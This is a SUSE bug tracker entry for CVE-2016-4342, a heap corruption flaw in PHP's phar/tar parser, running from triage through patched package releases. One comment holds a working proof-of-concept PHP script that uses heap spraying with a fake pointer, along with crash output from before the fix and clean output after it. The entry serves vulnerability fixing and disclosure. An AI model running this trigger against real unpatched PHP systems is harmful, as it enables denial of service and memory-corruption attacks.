Bug 977991 (CVE-2016-4342) - VUL-0: CVE-2016-4342: php: Heap corruption in tar/zip/phar parser
Summary: VUL-0: CVE-2016-4342: php: Heap corruption in tar/zip/phar parser
Status: RESOLVED FIXED
Alias: CVE-2016-4342
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents (show other bugs)
Version: unspecified
Hardware: Other Other
: P2 - High : Normal
Target Milestone: ---
Assignee: Security Team bot
QA Contact: Security Team bot
URL: https://smash.suse.de/issue/168408/
Whiteboard: CVSSv2:RedHat:CVE-2016-4342:4.3:(AV:N...
Keywords:
Depends on:
Blocks:
 
Reported: 2016-05-02 08:16 UTC by Sebastian Krahmer
Modified: 2016-08-30 12:19 UTC (History)
3 users (show)

See Also:
Found By: Security Response Team
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Comment 5 Petr Gajdos 2016-05-02 14:12:05 UTC
(In reply to Sebastian Krahmer from comment #4)
> OK. So we are not in a hurry. I bet this affects all our maintained
> packages of php5x?

Yes, it seems so. I get segfault for 13.2 and 12. But even for 11sp3:

Breakpoint 1, zim_PharFileInfo_getContent (ht=0, return_value=0xc5fe98, return_value_ptr=0x0, this_ptr=0xc5fec8, return_value_used=1)
    at /usr/src/debug/php-5.3.17/ext/phar/phar_object.c:4959
4959		Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link->uncompressed_filesize, 0);
(gdb) p link->uncompressed_filesize
$5 = 0


So Z_STRVAL_P(return_value) can be uninitialized after php_stream_copy_to_mem() call, I assume.
Comment 6 Petr Gajdos 2016-05-02 14:36:13 UTC
With 12:

$ cat test.php 
<?php

echo "Making .tar file...\n";

$phar = new PharData('poc.tar');
$phar->addFromString('aaaa','');

echo "Trigger...\n";

//prepare
$spray = pack('IIII',0x41414141,0x42424242,0x43434343,0x4444444);
$spray = $spray.$spray.$spray.$spray.$spray.$spray.$spray.$spray;
$pointer = pack('I',0x13371337);


$p = new PharData($argv[1]);

// heap spray 
$a[] = $spray.(string)0;
$a[] = $spray.(string)1;
$a[] = $spray.(string)2;
$a[] = $spray.(string)3;
$a[] = $spray.(string)4;
$a[] = $spray.$pointer.(string)5;

var_dump($p['aaaa']->getContent());

// If this poc doesnt work, please un-comment line below.
 var_dump($p);
?>
$

BEFORE

$ php test.php poc.tar
Making .tar file...
Trigger...
string(0) ""
zend_mm_heap corrupted

$ php test.php poc.tar
Making .tar file...
Trigger...
string(0) ""
object(PharData)#2 (4) {
  ["pathName":"SplFileInfo":private]=>
  string(27) "phar:///977991/poc.tar/aaaa"
  ["fileName":"SplFileInfo":private]=>
  string(4) "aaaa"
  ["glob":"DirectoryIterator":private]=>
  bool(false)
  ["subPathName":"RecursiveDirectoryIterator":private]=>
  string(0) ""
Segmentation fault (core dumped)

$

AFTER

$ php test.php poc.tar
Making .tar file...
Trigger...
string(0) ""
object(PharData)#2 (4) {
  ["pathName":"SplFileInfo":private]=>
  string(27) "phar:///977991/poc.tar/aaaa"
  ["fileName":"SplFileInfo":private]=>
  string(4) "aaaa"
  ["glob":"DirectoryIterator":private]=>
  bool(false)
  ["subPathName":"RecursiveDirectoryIterator":private]=>
  string(0) ""
}

$
Comment 7 Petr Gajdos 2016-05-04 08:24:59 UTC
needinfo provided.
Comment 10 Petr Gajdos 2016-05-05 06:58:59 UTC
Packages submitted.
Comment 11 Bernhard Wiedemann 2016-05-05 07:01:13 UTC
This is an autogenerated message for OBS integration:
This bug (977991) was mentioned in
https://build.opensuse.org/request/show/393784 13.2 / php5
Comment 13 Bernhard Wiedemann 2016-05-10 12:00:40 UTC
This is an autogenerated message for OBS integration:
This bug (977991) was mentioned in
https://build.opensuse.org/request/show/394633 13.2 / php5
Comment 16 Bernhard Wiedemann 2016-05-18 14:00:23 UTC
This is an autogenerated message for OBS integration:
This bug (977991) was mentioned in
https://build.opensuse.org/request/show/396629 13.2 / php5
Comment 18 Swamp Workflow Management 2016-05-19 12:08:54 UTC
openSUSE-SU-2016:1357-1: An update that fixes 11 vulnerabilities is now available.

Category: security (moderate)
Bug References: 977991,977992,977994,978827,978828,978829,978830
CVE References: CVE-2016-4342,CVE-2016-4343,CVE-2016-4346,CVE-2016-4537,CVE-2016-4538,CVE-2016-4539,CVE-2016-4540,CVE-2016-4541,CVE-2016-4542,CVE-2016-4543,CVE-2016-4544
Sources used:
openSUSE 13.2 (src):    php5-5.6.1-61.1
Comment 21 Swamp Workflow Management 2016-06-06 19:07:51 UTC
SUSE-SU-2016:1504-1: An update that fixes 13 vulnerabilities is now available.

Category: security (moderate)
Bug References: 977991,977994,978827,978828,978829,978830,980366,980373,980375
CVE References: CVE-2015-4116,CVE-2015-8873,CVE-2015-8874,CVE-2016-4342,CVE-2016-4346,CVE-2016-4537,CVE-2016-4538,CVE-2016-4539,CVE-2016-4540,CVE-2016-4541,CVE-2016-4542,CVE-2016-4543,CVE-2016-4544
Sources used:
SUSE Linux Enterprise Software Development Kit 12-SP1 (src):    php5-5.5.14-59.2
SUSE Linux Enterprise Software Development Kit 12 (src):    php5-5.5.14-59.2
SUSE Linux Enterprise Module for Web Scripting 12 (src):    php5-5.5.14-59.2
Comment 22 Swamp Workflow Management 2016-06-08 10:08:19 UTC
openSUSE-SU-2016:1524-1: An update that fixes 13 vulnerabilities is now available.

Category: security (moderate)
Bug References: 977991,977994,978827,978828,978829,978830,980366,980373,980375
CVE References: CVE-2015-4116,CVE-2015-8873,CVE-2015-8874,CVE-2016-4342,CVE-2016-4346,CVE-2016-4537,CVE-2016-4538,CVE-2016-4539,CVE-2016-4540,CVE-2016-4541,CVE-2016-4542,CVE-2016-4543,CVE-2016-4544
Sources used:
openSUSE Leap 42.1 (src):    php5-5.5.14-50.1
Comment 23 Swamp Workflow Management 2016-06-14 18:10:19 UTC
SUSE-SU-2016:1581-1: An update that fixes 31 vulnerabilities is now available.

Category: security (important)
Bug References: 949961,968284,969821,971611,971612,971912,973351,973792,976996,976997,977003,977005,977991,977994,978827,978828,978829,978830,980366,980373,980375,981050,982010,982011,982012,982013,982162
CVE References: CVE-2014-9767,CVE-2015-4116,CVE-2015-7803,CVE-2015-8835,CVE-2015-8838,CVE-2015-8866,CVE-2015-8867,CVE-2015-8873,CVE-2015-8874,CVE-2015-8879,CVE-2016-2554,CVE-2016-3141,CVE-2016-3142,CVE-2016-3185,CVE-2016-4070,CVE-2016-4073,CVE-2016-4342,CVE-2016-4346,CVE-2016-4537,CVE-2016-4538,CVE-2016-4539,CVE-2016-4540,CVE-2016-4541,CVE-2016-4542,CVE-2016-4543,CVE-2016-4544,CVE-2016-5093,CVE-2016-5094,CVE-2016-5095,CVE-2016-5096,CVE-2016-5114
Sources used:
SUSE OpenStack Cloud 5 (src):    php53-5.3.17-71.1
SUSE Manager Proxy 2.1 (src):    php53-5.3.17-71.1
SUSE Manager 2.1 (src):    php53-5.3.17-71.1
SUSE Linux Enterprise Software Development Kit 11-SP4 (src):    php53-5.3.17-71.1
SUSE Linux Enterprise Server 11-SP4 (src):    php53-5.3.17-71.1
SUSE Linux Enterprise Server 11-SP3-LTSS (src):    php53-5.3.17-71.1
SUSE Linux Enterprise Debuginfo 11-SP4 (src):    php53-5.3.17-71.1
SUSE Linux Enterprise Debuginfo 11-SP3 (src):    php53-5.3.17-71.1
Comment 24 Swamp Workflow Management 2016-06-21 11:19:13 UTC
SUSE-SU-2016:1638-1: An update that fixes 85 vulnerabilities is now available.

Category: security (important)
Bug References: 884986,884987,884989,884990,884991,884992,885961,886059,886060,893849,893853,902357,902360,902368,910659,914690,917150,918768,919080,921950,922451,922452,923945,924972,925109,928506,928511,931421,931769,931772,931776,933227,935074,935224,935226,935227,935229,935232,935234,935274,935275,938719,938721,942291,942296,945412,945428,949961,968284,969821,971611,971612,971912,973351,973792,976996,976997,977003,977005,977991,977994,978827,978828,978829,978830,980366,980373,980375,981050,982010,982011,982012,982013,982162
CVE References: CVE-2004-1019,CVE-2006-7243,CVE-2014-0207,CVE-2014-3478,CVE-2014-3479,CVE-2014-3480,CVE-2014-3487,CVE-2014-3515,CVE-2014-3597,CVE-2014-3668,CVE-2014-3669,CVE-2014-3670,CVE-2014-4049,CVE-2014-4670,CVE-2014-4698,CVE-2014-4721,CVE-2014-5459,CVE-2014-8142,CVE-2014-9652,CVE-2014-9705,CVE-2014-9709,CVE-2014-9767,CVE-2015-0231,CVE-2015-0232,CVE-2015-0273,CVE-2015-1352,CVE-2015-2301,CVE-2015-2305,CVE-2015-2783,CVE-2015-2787,CVE-2015-3152,CVE-2015-3329,CVE-2015-3411,CVE-2015-3412,CVE-2015-4021,CVE-2015-4022,CVE-2015-4024,CVE-2015-4026,CVE-2015-4116,CVE-2015-4148,CVE-2015-4598,CVE-2015-4599,CVE-2015-4600,CVE-2015-4601,CVE-2015-4602,CVE-2015-4603,CVE-2015-4643,CVE-2015-4644,CVE-2015-5161,CVE-2015-5589,CVE-2015-5590,CVE-2015-6831,CVE-2015-6833,CVE-2015-6836,CVE-2015-6837,CVE-2015-6838,CVE-2015-7803,CVE-2015-8835,CVE-2015-8838,CVE-2015-8866,CVE-2015-8867,CVE-2015-8873,CVE-2015-8874,CVE-2015-8879,CVE-2016-2554,CVE-2016-3141,CVE-2016-3142,CVE-2016-3185,CVE-2016-4070,CVE-2016-4073,CVE-2016-4342,CVE-2016-4346,CVE-2016-4537,CVE-2016-4538,CVE-2016-4539,CVE-2016-4540,CVE-2016-4541,CVE-2016-4542,CVE-2016-4543,CVE-2016-4544,CVE-2016-5093,CVE-2016-5094,CVE-2016-5095,CVE-2016-5096,CVE-2016-5114
Sources used:
SUSE Linux Enterprise Server 11-SP2-LTSS (src):    php53-5.3.17-47.1
Comment 25 Marcus Meissner 2016-08-01 09:40:27 UTC
all relerased